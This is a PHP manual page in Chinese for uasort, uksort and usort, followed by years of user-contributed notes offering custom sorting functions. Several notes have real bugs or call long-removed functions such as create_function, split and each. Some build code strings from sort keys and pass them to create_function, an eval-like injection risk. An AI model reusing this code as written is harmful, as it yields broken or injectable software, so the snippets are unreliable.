regarding remmy.cjb.net (22-Oct-2003 05:57) note:
The "multisort" function is not working. Try the following example.
( I hope this and your note will be deleted soon.)
..- Denis

<?php
$a = array(
   array('c1' => 1, 'c2' => 1, 'c3' => 1, 'c4' => 1),
   array('c1' => 1, 'c2' => 1, 'c3' => 1, 'c4' => 2),
   array('c1' => 1, 'c2' => 1, 'c3' => 2, 'c4' => 1),
   array('c1' => 1, 'c2' => 1, 'c3' => 2, 'c4' => 2)
);

echo('<pre>');
print_r(multisort($a, "'c4'", true, 2,"'c3'", true, 2,"'c2'", true, 2,"'c1'", true, 2));
echo('</pre>');
?>
remmy.cjb.net
22-Oct-2003 02:57
Hope this helps!

- Remmy

<?php

// Based on the other notes given before.
// Sorts an array (you know the kind) by key
// and by the comparison operator you prefer.

// Note that instead of most important criteron first, it's
// least important criterion first.

// The default sort order is ascending, and the default sort
// type is strnatcmp.

// function multisort($array[, $key, $order, $type]...)
function multisort($array)
{
   for($i = 1; $i < func_num_args(); $i += 3)
   {
       $key = func_get_arg($i);

       $order = true;
       if($i + 1 < func_num_args())
           $order = func_get_arg($i + 1);

       $type = 0;
       if($i + 2 < func_num_args())
           $type = func_get_arg($i + 2);

       switch($type)
       {
           case 1: // Case insensitive natural.
               $t = 'strcasenatcmp($a[' . $key . '], $b[' . $key . '])';
               break;
           case 2: // Numeric.
               $t = '$a[' . $key . '] - $b[' . $key . ']';
               break;
           case 3: // Case sensitive string.
               $t = 'strcmp($a[' . $key . '], $b[' . $key . '])';
               break;
           case 4: // Case insensitive string.
               $t = 'strcasecmp($a[' . $key . '], $b[' . $key . '])';
               break;
           default: // Case sensitive natural.
               $t = 'strnatcmp($a[' . $key . '], $b[' . $key . '])';
               break;
       }

       uasort($array, create_function('$a, $b', 'return ' . ($order ? '' : '-') . '(' . $t . ');'));
   }

   return $array;
}

$a = array(
   array('id' => 1, 'name' => 'apple'),
   array('id' => 2, 'name' => 'orange'),
   array('id' => 8, 'name' => 'banana'),
   array('id' => 8, 'name' => 'grapefruit'),
   array('id' => 9, 'name' => 'smoke'),
   array('id' => 1, 'name' => 'screen')
);

// This works like MYSQL 'ORDER BY id DESC, name ASC'
// Note the quoting of string literal keys.
echo('<pre>');
print_r(multisort($a, "'name'", true, 0, "'id'", false, 2));
echo('</pre>');

?>
cablehead
17-Sep-2003 12:08
dholmes we turned your masort function into a smarty plugin:

http://www.phpinsider.com/smarty-forum/viewtopic.php?t=1079

messju contributed the following performance improvements.

function masort(&$data, $sortby)
{
   static $sort_funcs = array();

   if (empty($sort_funcs[$sortby])) {
       $code = "\$c=0;";
       foreach (split(',', $sortby) as $key) {
           $code .= "if ( (\$c = strcasecmp(\$a['$key'],\$b['$key'])) != 0 ) return \$c;\n";
       }
       $code .= 'return $c;';
       $sort_func = $sort_funcs[$sortby] = create_function('$a, $b', $code);
   } else {
       $sort_func = $sort_funcs[$sortby];
   }
   $sort_func = $sort_funcs[$sortby];
   uasort($data, $sort_func);
}

thank you for the cool function!
php at eden2 dot com
17-Jul-2003 07:36
Is it just me, or are the examples below misleading, and actually demonstrating situations that would be more appropriate for usort()?

After trying to make sense of the uasort() description, it sounds like it's more for sorting a 1D array like this:

"john" => "$23.12"
"tim" => "$6.50"
"bob" => "$18.54"

and getting back:

"tim" => "$6.50"
"bob" => "$18.54"
"john" => $23.12"

(assuming, of course, that your sort function is lopping off the $ and evaluating as a number -- which would complicate the use of asort() ;)
naholyr at yahoo dot fr
11-Jan-2003 01:35
You can sort a multidimensionnal array by any of its key with this function:

function multi_sort($array, $key)
{
  $cmp_val="((\$a['$key']>\$b['$key'])?1:
   ((\$a['$key']==\$b['$key'])?0:-1))";
  $cmp=create_function('$a, $b', "return $body;");
  uasort($array, $cmp);
  return $array;
}

example:
$myarray = array(
  array("name"=>"kernighan", "language"=>"c"),
  array("name"=>"lerdorf", "language"=>"php"),
  array("name"=>"Stroustrup", "language"=>"c++"),
  array("name"=>"Gosling", "language"=>"java")
);

multi_sort($myarray, "name") returns:
name=Gosling    language=java
name=Kernighan    language=c
name=Lerdorf    language=php
name=Stroustrup    language=c++
dholmes at jccc d0t net
10-Oct-2002 05:27
Here is a little sort function that actually uses a dynamic callback for usort to do it's thing.

It assumes your data is in the form of:
   $data = array(
           array('ID'=>'6','LAST'=>'Holmes','FIRST'=>'Dan'),
           array('ID'=>'1234','LAST'=>'Smith','FIRST'=>'Agent K'),
           array('ID'=>'2','LAST'=>'Smith','FIRST'=>'Agent J'),
           array('ID'=>'4','LAST'=>'Barney','FIRST'=>'Bob'));

Now, you want to sort on one or more cols, don't you?

masort($data, 'LAST,FIRST');
or
masort($data,array('FIRST','ID'));

Of course you could add a bunch to it (like numeric comparison if appropriate, desc/asc, etc) but it works for me.

function masort(&$data, $sortby){
   if(is_array($sortby)){
       $sortby = join(',',$sortby);
   }

   uasort($data,create_function('$a,$b','$skeys = split(\',\',\''.$sortby.'\');
       foreach($skeys as $key){
           if( ($c = strcasecmp($a[$key],$b[$key])) != 0 ){
               return($c);
           }
       }
       return($c); '));
}
Notice that I am splitting the string in the comparison function? While this is certainly slower, it was the only way I would find to "pass" and "array".  If anyone has a better way, please suggest.  Then inside, we (string) compare the values only moving to the next key if the values are the same...and so on, and so on.
stilgar_cpsNOSPAM at zipmail dot NOSPAMcom dot br
06-Sep-2001 05:30
Use example:

$array[0]['Fator1']=7;
$array[0]['Fator2']="Name";
$array[1]['Fator1']=5;
$array[1]['Fator2']="Name";
$array[2]['Fator1']=7;
$array[2]['Fator2']="NameDiferente";
.....

We want to order by Fator1, then Fator2, then:

function Compare($ar1, $ar2)
{
   if ($ar1['Fator1']<$ar2['Fator1'])
     return -1;
   else if ($ar1['Fator1']>$ar2['Fator1'])
     return 1;
   if ($ar1['Fator2']<$ar2['Fator2'])
     return -1;
   else if ($ar1['Fator2']>$ar2['Fator2'])
     return 1;
   return 0;
}

To sort now, we use:

uasort($array, 'Compare');
add a note add a note

后退 | 起点 | 前进
sort | 上一级 | uksort


uksort

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

uksort -- 使用用户自定义的比较函数对数组中的键名进行排序

说明

bool uksort ( array &array, callback cmp_function )

本函数将使用用户提供的比较函数对数组中的键名进行排序。如果要排序的数组需要用一种不寻常的标准进行排序，那么应该使用此函数。

cmp_function 函数应接受两个参数，该参数将被 array 中的一对键名填充。比较函数在第一个参数小于，等于，或大于第二个参数时必须分别返回一个小于零，等于零，或大于零的整数。

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. uksort() 例子

<?php
function cmp($a, $b)
{
    if ($a == $b) {
        return 0;
    }
    return ($a > $b) ? -1 : 1;
}

$a = array(4 => "four", 3 => "three", 20 => "twenty", 10 => "ten");

uksort($a, "cmp");

foreach ($a as $key => $value) {
    echo "$key: $value\n";
}
?>

上例将输出：

20: twenty
10: ten
4: four
3: three

参见 usort()，uasort()，sort()，asort()，arsort()，ksort()，natsort() 和 rsort()。

add a note add a note User Contributed Notes
skippy at zuavra dot net
28-Nov-2005 07:57
As silly as it may seem, you may sometimes need a comparison function which leaves the array in the same order. It's not as trivial as returning 0 (zero) all the time, since for some reason it doesn't actually leave the values alone.

Here's a simpler and faster version of the code presented by Ignatius Reilly in an earlier note, which can be used to infer original position based on the original array:

function cmp($a, $b) {
  if ($a == $b) return 0;
  global $target_array_here;
  static $keys;
  if (!$keys) $keys = array_keys($target_array_here);
  $x = array_search($a, $keys);
  $y = array_search($b, $keys);
  return ($x < $y ? -1 : 1);
}
Toni Soler
28-Sep-2005 04:51
Added "sort_type" to the previous class (ascendent/descendent options)

<?php
class t_object_sorter
{
   var $object_array;
   var $sort_by;

   function _comp($a,$b)
   {
       $key=$this->sort_by;
       if ($this->object_array[$a]->$key == $this->object_array[$b]->$key) return 0;
       return ($this->object_array[$a]->$key < $this->object_array[$b]->$key) ? -1 : 1;
   }

   function _comp_desc($a,$b)
   {
       $key=$this->sort_by;
       if ($this->object_array[$a]->$key == $this->object_array[$b]->$key) return 0;
       return ($this->object_array[$a]->$key > $this->object_array[$b]->$key) ? -1 : 1;
   }

   function sort(&$object_array, $sort_by, $sort_type = "ASC")
   {
       $this->object_array = $object_array;
       $this->sort_by      = $sort_by;
       if ($sort_type == "DESC")
       {
           uksort($object_array, array($this, "_comp_desc"));
       }
       else
       {
           uksort($object_array, array($this, "_comp"));
       }
   }
}
?>
Commanace at gmail dot com
28-Aug-2005 12:38
I've written a small class that will sort arrays of objects by a certain attribute:

<?php
class t_object_sorter
{
   protected $object_array;
   protected $sort_by;

   private function _comp($a,$b)
   {
       $key=$this->sort_by;
       debug($this->object_array[$a],__FILE__,__LINE__);
       if ($this->object_array[$a]->$key == $this->object_array[$b]->$key) return 0;
       return ($this->object_array[$a]->$key < $this->object_array[$b]->$key) ? -1 : 1;
   }

   public function sort(&$object_array, $sort_by)
   {
       $this->object_array = $object_array;
       $this->sort_by      = $sort_by;
       uksort($object_array, array($this, "_comp"));
   }
}
?>

It is used like that:

<?php
$sorter = new t_object_sorter;
$sorter->sort($menu->item, 'position');
?>

This call will sort all "item"-objects of the object "menu" by their attribute "position".

I hope this is helpfull.
Jimomighty
20-Mar-2005 11:30
...

function cmp($a, $b)
{
   if ($a == $b) {
       return 0;
   }
   return ($a < $b) ? -1 : 1;
}

function uksort_tree ( &$array )
{
   // [PHP5] foreach ( $array as &$value )
   foreach ( $array as $key => $value )
   {
       if ( is_array ( $value ) )
       {
           // [PHP5] uksort_tree ( $value );
           uksort_tree ( $array[$key] );
       }
   }

   uksort( $array, "cmp" );
}

uksort_tree( $myEntryArray );

...
aleczapka at gmx dot net
22-Dec-2004 08:35
One remark regarding array_sorter class.
It won't work correctly with eg. dates from mysql like 20041206105350, cause you can't convert such number into integer. To fix it remove intval() from the code. If the variable is a number it will work without converting this to int anyways. Here is the fix.

<?php
....
if ($a == $b)
   return 0;
if ($this->sasc)
   return ($a > $b) ? 1 : -1;
else
   return ($a > $b) ? -1 : 1;
...
?>
jg at delegation dot ca
17-Dec-2004 11:41
To sort dates with uksort:

function datediff($a, $b) {

$a = date('U',$a);
$b = date('U',$b);

if ($a == $b) $r = 0;
else $r = ($a > $b) ? 1: -1;

return $r;
}
aleczapka at gmx dot net
06-Dec-2004 08:27
Here is a small and very fast object to handle sorting of multidimentional arrays by a key.
<?php
/**
* Handles multidimentional array sorting by a key (not recursive)
*
* @author Oliwier Ptak <aleczapka at gmx dot net>
*/
class array_sorter
{
   var $skey = false;
   var $sarray = false;
   var $sasc = true;

   /**
   * Constructor
   *
   * @access public
   * @param mixed $array array to sort
   * @param string $key array key to sort by
   * @param boolean $asc sort order (ascending or descending)
   */
   function array_sorter(&$array, $key, $asc=true)
   {
       $this->sarray = $array;
       $this->skey = $key;
       $this->sasc = $asc;
   }

   /**
   * Sort method
   *
   * @access public
   * @param boolean $remap if true reindex the array to rewrite indexes
   */
   function sortit($remap=true)
   {
       $array = &$this->sarray;
       uksort($array, array($this, "_as_cmp"));
       if ($remap)
       {
           $tmp = array();
           while (list($id, $data) = each($array))
               $tmp[] = $data;
           return $tmp;
       }
       return $array;
   }

   /**
   * Custom sort function
   *
   * @access private
   * @param mixed $a an array entry
   * @param mixed $b an array entry
   */
   function _as_cmp($a, $b)
   {
       //since uksort will pass here only indexes get real values from our array
       if (!is_array($a) && !is_array($b))
       {
           $a = $this->sarray[$a][$this->skey];
           $b = $this->sarray[$b][$this->skey];
       }

       //if string - use string comparision
       if (!ctype_digit($a) && !ctype_digit($b))
       {
           if ($this->sasc)
               return strcasecmp($a, $b);
           else
               return strcasecmp($b, $a);
       }
       else
       {
           if (intval($a) == intval($b))
               return 0;

           if ($this->sasc)
               return (intval($a) > intval($b)) ? -1 : 1;
           else
               return (intval($a) > intval($b)) ? 1 : -1;
       }
   }

}//end of class
?>

Sample $input_array:

Array
(
   [0] => Array
       (
           [id] => 961
           [uid] => 29
           [gid] => 12
           [parent_id] => 147
           [created] => 20041206105350
           [modified] => 20041206110702
       )

   [1] => Array
       (
           [id] => 41
           [uid] => 29
           [gid] => 12
           [parent_id] => 153
           [created] => 20041025154009
           [modified] => 20041206105532
       )

   [2] => Array
       (
           [id] => 703
           [uid] => 29
           [gid] => 12
           [parent_id] => 419
           [created] => 20041025154132
           [modified] => 20041027150259
       )

Example of usage:
<?php
   function multi_sort(&$array, $key, $asc=true)
   {
       $sorter = new array_sorter($array, $key, $asc);
       return $sorter->sortit();
   }
   //sort by parent_id in descending order
   $my_array = multi_sort($input_array, "parent_id", false);
?>

The result array will be:
Array
(

   [0] => Array
       (
           [id] => 703
           [uid] => 29
           [gid] => 12
           [parent_id] => 419
           [created] => 20041025154132
           [modified] => 20041027150259
       )

   [1] => Array
       (
           [id] => 41
           [uid] => 29
           [gid] => 12
           [parent_id] => 153
           [created] => 20041025154009
           [modified] => 20041206105532
       )

   [2] => Array
       (
           [id] => 961
           [uid] => 29
           [gid] => 12
           [parent_id] => 147
           [created] => 20041206105350
           [modified] => 20041206110702
       )
fabriceb at gmx dot net
08-Jul-2004 09:26
(about sorting an array of objects by their properties in a class - inspired by webmaster at zeroweb dot org at usort function)
I'm using classes as an abstraction for querying records in a database and use arrays of objects to store records that have an 1 to n relationship. E.g. a class "family" has family members stored as an array of objects. Each of those objects prepresents a record in a database related to the family (by it's familyId).

To identify members, I'm using their memberId as the key of the array e.g. $family->members[$memberId].
To sort the family members AFTER fetching them with the database query, you can use the functions _objSort and sortMembers which will sort the "members" array by key using it's properties (for space reasons I didn't include the methods used to open the records):
<?php
class familyMember
{
   var $memberId;
   var $familyId;
   var $firstName;
   var $age;
   var $hairColor;
// ...
}

class family
{
   var $familyId;
   var $name;
   var $members = array(); // array of familyMember objects
   var $sortFields = array();
   var $sortDirections = array();
   // ...
   function _objSort(&$a, &$b, $i = 0)
   {
       $field        = $this->sortFields[$i];
       $direction    = $this->sortDirections[$i];

       $diff = strnatcmp($this->details[$a]->$field, $this->details[$b]->$field) * $direction;
       if ($diff == 0 && isset($this->sortFields[++$i]))
       {
           $diff = $this->_objSort($a, $b, $i);
       }

       return $diff;
   }

   function sortMembers($sortFields)
   {
       $i = 0;
       foreach ($sortFields as $field => $direction)
       {
           $this->sortFields[$i] = $field;
           $direction == "DESC" ? $this->sortDirections[$i] = -1 : $this->sortDirections[$i] = 1;
           $i++;
       }

       uksort($this->details, array($this, "_objSort"));

       $this->sortFields = array();
       $this->sortDirections = array();
   }
}
// open a family
$familyId = 5;
$family = new family($familyId);
$family->open(); // this will also fetch all members

// sort members by 3 fields
$family->sortMembers(array("firstName" => "ASC", "age" => "DESC", "hairColor" => "ASC"));
// output all family members
foreach ($family->members as $member)
{
   echo $member->firstName." - ".$member->age." - ".$member->hairColor."<br />";
}
?>

Note that this might not be the fastest thing on earth and it hasn't been tested very much yet but I hope it's useful for someone.
jOn
17-Mar-2004 09:57
a quick function to point uksort() at, for sorting by key, but ignoring "the" from any keys that start with it:

<?php
function comp($a,$b)
{
   //remove "the" (case-insensitive), and any non-word
   // characters from any string(s) that start with "the"
   $a = preg_replace('|^the\b\W*|i','',$a);
   $b = preg_replace('|^the\b\W*|i','',$b);

   if ($a == $b) {
       return 0;
   }
   return ($a > $b) ? 1 : -1;
}
?>
webmaster at kik-it at N0SP4M dot com
10-Feb-2004 02:03
The code below allows you to sort an array_A following array_B keys order, original keys and values remain associated.

<?

//main function
Function SortArrayAKeysLikeArrayBKeys(&$TheArrayToSort){
   uksort($TheArrayToSort,"SortArrayAKeysLikeArrayBKeys_cmp");
}

//the custom compare function
Function SortArrayAKeysLikeArrayBKeys_cmp($a,$b){
  global $TheArrayOrder;
  $PosA=KeyPosInArray($a,$TheArrayOrder);
  $PosB=KeyPosInArray($b,$TheArrayOrder);
  if ($PosA==$PosB){return 0;}else{return ($PosA > $PosB ? 1 : -1);}
}

//where is my key in my array
Function KeyPosInArray($Key,$Array){
   $i=0;
   $Pos=99999999;
   if($Array){
     foreach($Array as $K => $V){
         $i++;
         if($K==$Key){
           $Pos=$i;
           break;
         }
     }
   }
   return $Pos;
}

//the array you want to sort
$AnyArrayToSort['age']='19';
$AnyArrayToSort['ville']='rennes';
$AnyArrayToSort['website']='kik-it.com';
$AnyArrayToSort['region']='bretagne';
$AnyArrayToSort['code_postal']='35200';
$AnyArrayToSort['Nom']='Fred';

//the array with the correct keys/values order
$TheArrayOrder['Nom']='Whatever';
$TheArrayOrder['age']='Anything';
$TheArrayOrder['region']='What u want';
$TheArrayOrder['ville']='Something';
$TheArrayOrder['code_postal']='Nothing';

//before sort
print_r($AnyArrayToSort);
echo "<br>";
//we sort
SortArrayAKeysLikeArrayBKeys($AnyArrayToSort);
echo "<br>";
//after sort
print_r($AnyArrayToSort);
?>

Will print :

Array ( [age] => 19 [ville] => rennes [website] => kik-it.com [region] => bretagne [code_postal] => 35200 [Nom] => Fred )

Array ( [Nom] => Fred [age] => 19 [region] => bretagne [ville] => rennes [code_postal] => 35200 [website] => kik-it.com )

The keys not listed in the $TheArrayOrder will appear at the end of your sorted array (only if Key Pos < 99999999 ;o)
guss at typo dot co dot il
08-Dec-2003 04:18
Regarding the recursive sorting function above:
Genrally speaking, any recursion can be reimplemented using simple iteration. in the specific case, using recursion to compare strings has a huge performance impact while a simple loop would suffice and be faster and more simple.
Recursion is only good if it simplifies your code or your understanding of the concept. the previous example does neither, especially as it does a lot of repetitive things in each iteration, such as asigning the character order constant, rebuilding it into an array and such

For example, the string comparison could be written as such :
function str_compare($a,$b) {
   $order="aAbBcC&#269;&#268;..."; // longer normally & without that html entities
   $default = strlen($a) - strlen($b);
   $minlen = strlen($a) < strlen($b) ? strlen($a) : strlen($b);
   for ($i = 0; $i < $minlen; $i++) {
       $pos_a=strpos($order,$a[$i]);
       $pos_b=strpos($order,$b[$i]);
       if ($pos_a != $pos_b)
           return $pos_a - $pos_b;
   }
   return $default;
}

Which is much simpler and faster.
Note that the above function will break for characters that are not listed in $order. it should be failry trivial to fix it.
ignatius dot reilly at free dot fr
14-Nov-2003 02:59
To use a more complicated comparison function, one can use a callback to a method of an object instance.
For example the following will take an array $arr whose keys are the same as those of $reference, and reorder $arr so that the keys appear in the same order as in $reference.

class kcmp {
   var $reference ;
   function kcmp( $reference ) {
       $this->reference = $reference ;
   }
   function kcompare( $a, $b ) {
       $keys = array_keys( $this->reference ) ;
       $position_a = array_search( $a, $keys ) ;
       $position_b = array_search( $b, $keys ) ;
       return  $position_a < $position_b ? -1 : 1 ;
   }
}

$reference = array(
   "k2" => "a2",
   "k3" => "a3",
   "k1" => "a1"
) ;
$arr = array(
   "k1" => "b1",
   "k2" => "b2",
   "k3" => "b3"
) ;
print_r( $arr ) ;
uksort( $arr, array( new kcmp( $reference ), "kcompare" ) ) ;
print_r( $arr ) ;
pachollini at stones dot com
03-Mar-2003 08:47
I tried to write my own function for sorting with special Czech characters, which php normally compares wrong way. The function is recoursive, it compares the first characters of the strings and when they're the same, the function calls itself with parameters without the first character. My php often crashed by calling this function. After some time if found the problem: it crashed after 10th recoursive call. I think it's a bug in php, and I've made this workaround:

function str_compare($a,$b,$level=0)
   {
   $maxlevel=9;
   if($GLOBALS["STR_COMPARE"] && is_array($a))
       {
       $a=$a[$GLOBALS["STR_COMPARE"]];
       $b=$b[$GLOBALS["STR_COMPARE"]];
       }
   $result=0;
   if($a==$b) return 0;
   elseif($a=="") return ($b=="") ? 0 : 1;
   elseif ($b=="") return -1;
   else
       {
       $order="aAbBcC&#269;&#268;..."; // longer normally & without that html entities
       for($i=0;$i<strlen($order);$i++) $codes[]=ord($order[$i]);
       $char_a=$a[0];$char_b=$b[0];
       $pos_a=array_search(ord($a),$codes); $pos_b=array_search(ord($b),$codes);
       //echo"$char_a - $pos_a<br>";
       if($pos_a===false || $pos_b===false)
           {
           if($char_a==$char_b)
               {
               if ($level<=$maxlevel) $result=str_compare (substr($a,1),substr($b,1),$level+1);
               else $a<$b ? $result=-1 : $result=1;
               }
           else ($char_a<$char_b) ? $result=-1 : $result=1;
           }
       else
           {
           if($pos_a==$pos_b)
               {
               if ($level<=$maxlevel) $result=str_compare(substr($a,1), substr($b,1),$level+1);
               else $a<$b ? $result=-1 : $result=1;
               }
           else ($pos_a<$pos_b) ? $result=-1 : $result=1;
           }
       return $result;
       }
   }
kumar at chicagomodular (dot) com
30-Jan-2003 01:12
The comparison function must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.
--necessary info from http://www.php.net/manual/en/function.usort.php if you didn't see it already
add a note add a note

后退 | 起点 | 前进
uasort | 上一级 | usort


usort

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

usort -- 使用用户自定义的比较函数对数组中的值进行排序

说明

bool usort ( array &array, callback cmp_function )

本函数将用用户自定义的比较函数对一个数组中的值进行排序。如果要排序的数组需要用一种不寻常的标准进行排序，那么应该使用此函数。

比较函数必须在第一个参数被认为小于，等于或大于第二个参数时分别返回一个小于，等于或大于零的整数。

注: 如果两个成员比较结果相同，则它们在排序后的数组中的顺序未经定义。到 PHP 4.0.6 之前，用户自定义函数将保留这些单元的原有顺序。但是由于在 4.1.0 中引进了新的排序算法，结果将不是这样了，因为对此没有一个有效的解决方案。

注: 本函数为 array 中的单元赋予新的键名。这将删除原有的键名而不仅是重新排序。

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. usort() 例子

<?php
function cmp($a, $b)
{
    if ($a == $b) {
        return 0;
    }
    return ($a < $b) ? -1 : 1;
}

$a = array(3, 2, 5, 6, 1);

usort($a, "cmp");

foreach ($a as $key => $value) {
    echo "$key: $value\n";
}
?>

上例将输出：

0: 1
1: 2
2: 3
3: 5
4: 6

注: 很明显在这个小例子中用 sort() 函数更合适。

例子 2. 使用多维数组的 usort() 例子

<?php
function cmp($a, $b)
{
    return strcmp($a["fruit"], $b["fruit"]);
}

$fruits[0]["fruit"] = "lemons";
$fruits[1]["fruit"] = "apples";
$fruits[2]["fruit"] = "grapes";

usort($fruits, "cmp");

while (list($key, $value) = each($fruits)) {
    echo "\$fruits[$key]: " . $value["fruit"] . "\n";
}
?>

当排序多维数组时，$a 和 $b 包含到数组第一个索引的引用。

上例将输出：

$fruits[0]: apples
$fruits[1]: grapes
$fruits[2]: lemons

例子 3. 使用对象的成员函数的 usort() 例子

<?php
class TestObj {
    var $name;

    function TestObj($name)
    {
        $this->name = $name;
    }

    /* This is the static comparing function: */
    function cmp_obj($a, $b)
    {
        $al = strtolower($a->name);
        $bl = strtolower($b->name);
        if ($al == $bl) {
            return 0;
        }
        return ($al > $bl) ? +1 : -1;
    }
}

$a[] = new TestObj("c");
$a[] = new TestObj("b");
$a[] = new TestObj("d");

usort($a, array("TestObj", "cmp_obj"));

foreach ($a as $item) {
    echo $item->name . "\n";
}
?>

上例将输出：

b
c
d

参见 uasort()，uksort()，sort()，asort()，arsort()，ksort()，natsort() 和 rsort()。

add a note add a note User Contributed Notes
Number type ???
17-May-2006 09:13
function arfsort($a,$fl){
  $GLOBALS['__ARFSORT_LIST__'] = $fl;
  usort($a,'arfsort_func');
  return $a;
}

function arfsort_func($a,$b) {
  foreach ($GLOBALS['__ARFSORT_LIST__'] as $f) {
   switch ($f[1]) { // switch on ascending or descending value
     case "d":
       ## Add number type sort
       if (is_numeric($a[$f[0]])) {
           if ($b[$f[0]] < $a[$f[0]]) $strc = -1;
           else if ($b[$f[0]] > $a[$f[0]]) $strc = 1;
           else $strc = 0;
       } else {
         $strc = strcmp($b[$f[0]],$a[$f[0]]);
       }
       if ( $strc != 0 ){
         return $strc;
       }
     break;
     default:
       if (is_numeric($a[$f[0]])) {
             if ($b[$f[0]] > $a[$f[0]]) $strc = -1;
             else if ($b[$f[0]] < $a[$f[0]]) $strc = 1;
             else $strc = 0;
         } else {
           $strc = strcmp($a[$f[0]],$b[$f[0]]);
         }
       if ($strc != 0){
         return $strc;
       }
     break;
   }
  }
  return 0;
}
martin # classaxe com <><
17-May-2006 04:07
Refinement of arfsort to allow per-field sort direction setting:

<?
function arfsort( $a, $fl ){
  $GLOBALS['__ARFSORT_LIST__'] = $fl;
  usort( $a, 'arfsort_func' );
  return $a;
}

// extended to allow sort direction per field sorted against
function arfsort_func( $a, $b ){
  foreach( $GLOBALS['__ARFSORT_LIST__'] as $f ) {
   switch ($f[1]) { // switch on ascending or descending value
     case "d":
       $strc = strcmp( strtolower($b[$f[0]]), strtolower($a[$f[0]]) );
       if ( $strc != 0 ){
         return $strc;
       }
     break;
     default:
       $strc = strcmp( strtolower($a[$f[0]]), strtolower($b[$f[0]]) );
       if ( $strc != 0 ){
         return $strc;
       }
     break;
   }
  }
  return 0;
}

// Just prints out record contents
function show($test) {
  foreach ($test as $key=>$row) {
   print "<li>($key) ".$row['fruit']." is ".$row['type']." at ".$row['time']." on ".$row['date']."</li>\n";
  }
  print "<hr>";
}

// Example usage
$test = array(
  array( 'fruit' => 'Lemon', 'type' => 'sour', 'date' => '2006-05-16', 'time' => '12:36'),
  array( 'fruit' => 'Banana','type' => 'sweet','date' => '2006-05-17','time' => '12:35'),
  array( 'fruit' => 'Apple', 'type' => 'sweet','date' => '2006-05-17','time' => '12:35'),
  array( 'fruit' => 'green apple', 'type' => 'sour', 'date' => '2006-05-16', 'time' => '12:37')
);

show($test);

$order_arr =
  array(
   array('date','d'), // d means decending - swap for 'a' to see effect
   array('time','a'),
   array('fruit','a')
  );

$sorted = arfsort( $test, $order_arr);

show($sorted);
?>
stephen in koto
06-Apr-2006 01:28
For using usort inside a method in an object, where the callback sort method is in the same object, this works:

usort($arr_to_sort, array($this, "sort_terms_by_criteria"));

If you wish to keep elements in their original or reverse order if they are the same length, just don't return zero for items that compare the same. Return a 1 or -1, as appropriate.
sydney at totoche dot org
16-Jan-2006 05:44
Instead of doing  :

$strc = strcmp( strtolower($a[$f]), strtolower($b[$f]) );

you could do this :

$strc = strcasecmp( $a[$f], $b[$f] );

which is more efficient and is does case insensitive comparison according to the current locale.
sean at NOSPAM dot orwd dot com
24-Sep-2005 05:46
In order to get a proper text sorting I have changed the arfsort() function submitted by jonathan(at)inetz(dot)com.

The one line I have changed is:

<?php
$strc = strcmp( $a[$f], $b[$f] );
?>

to

<?php
$strc = strcmp( strtolower($a[$f]), strtolower($b[$f]) );
?>

It can now sort correctly for alphabetization.  Capital letters where getting in the way.

Sean
Tim
22-Sep-2005 10:25
A couple examples here advocate the use of 'create_function' for sorting, which is tempting to use because of the limitations of usort. But beware this method -- the function created will NOT be freed at the end of the sorting routine, which creates a memory leak. For this reason, this method should probably never be used.

If you need multi-key or other complex sorting, the fundamental problem is passing in parameters into the comparison routine. I suggest creating a global variable (_array_key_multisort_parameters or something long), and controlling the comparison routine in that way.
markus dot meier at udo dot edu
16-Sep-2005 03:00
@Jeremy Swinborne:

The same can be achieved by usort and will be much faster, too:

<?php

   function SortByName($a, $b) {
       if ($a['name'] == $b['name']) return 0;
       return return ($a['name'] < $b['name']) ? -1 : 1;
   }

   usort($test, 'SortByName');

?>
markus dot meier at udo dot edu
16-Sep-2005 02:53
gk at lka dot hu:
I've removed a few errors and moved both functions into one. The line with the prefix-check did'nt work right.

<?php
   function CompareUmlaut($astring, $bstring) {
       $ALP = "AaBbCcDdEeFfGgHhIiiJjKkLlMmNnOoPpQqRrSs" .
               "TtUuVvWwXxYyZz0123456789!?.()[]=%+-"

       // find first differing char
       $aLen = strlen($astring); $bLen = strlen($bstring);
       for ($i=0; $i<$aLen && $i<$bLen && $astring[$i]==$bstring[$i]; $i++);

       // if one string is the prefix of the other one, the shorter wins
       if ($i == $aLen || $i == $bLen) return (strlen($astring) < strlen($bstring)) ? -1 : 1;

       // otherwise depends on the first different char
       $ALPL = strlen($ALP);
       $ap = $bp = -1;
       $j = 0;
       while (($j < $ALPL) && (($ap == -1) || ($bp == -1))) {
           if ($ALP[$j] == $astring[$i]) $ap = $j;
           if ($ALP[$j] == $bstring[$i]) $bp = $j;
           $j++;
       }
       return($ap < $bp) ? -1 : 1;
?>
jasper at bryant-greene dot name
11-Sep-2005 12:33
reinhard at ess dot co dot at: you need to look at the natsort() function.
rpmPUBLI at iespana dot es
04-Sep-2005 03:48
(I've browsed the docummented notes and I haven't found this note, so there I go):

Please note that, when sorting associative arrays (i.e. non-numeric indexes), these will be lost and replaced by a regular numeric index starting at 0.
reinhard at ess dot co dot at
08-Aug-2005 09:34
maybe someone can use this.
with that compare-function you can get this order:

string1, string2, ..., string10, string11, ...string22...

else the functions make something like

string10,string11,...string1,string20....
or
string1,string10,string11,string2,string20...

it's not the best solution, but works for my purpose...

<?
function cmp($a,$b){
   list($a)=explode(".",$a);
   list($b)=explode(".",$b);
   $s=0;
   for($i=0;$i<=strlen($a);++$i){
     if(is_numeric($a[$i])&&is_numeric($b[$i])){
         $n=1;
         $anum=$bnum=0;
         while((is_numeric($a[$i])||is_numeric($b[$i]))&&
                   (strlen($a)>=$i||strlen($b)>=$i)){
           if(is_numeric($a[$i])&&$i<=strlen($a)) $anum=$a[$i]+$anum*$n;
           if(is_numeric($b[$i])&&$i<=strlen($b)) $bnum=$b[$i]+$bnum*$n;
           $n*=10;
           ++$i;
         }
         if($n>1) --$i;
         if($anum!=$bnum) return $anum<$bnum?-1:1;
     }elseif($a[$i]!=$b[$i]) return $a[$i]<$b[$i]?-1:1;
   }
}
?>

use it like this:

<?
usort($array,"cmp");
?>
Jeremy Swinborne
21-Jul-2005 04:56
When I query a DB I usually put my record set inside of a multi-dimentional array.  I finally wrote a program that will allow you to sort your record set by column after you put it in an array.

<?php
$test = array();
$test[0]['name'] = 'jeremy';
$test[0]['email'] = 'lala@fishies.com';
$test[0]['phone'] = '123-123-1234';
$test[0]['trick'] = 'mezopia';

$test[1]['name'] = 'Amanda';
$test[1]['email'] = 'hot@hotmail.com';
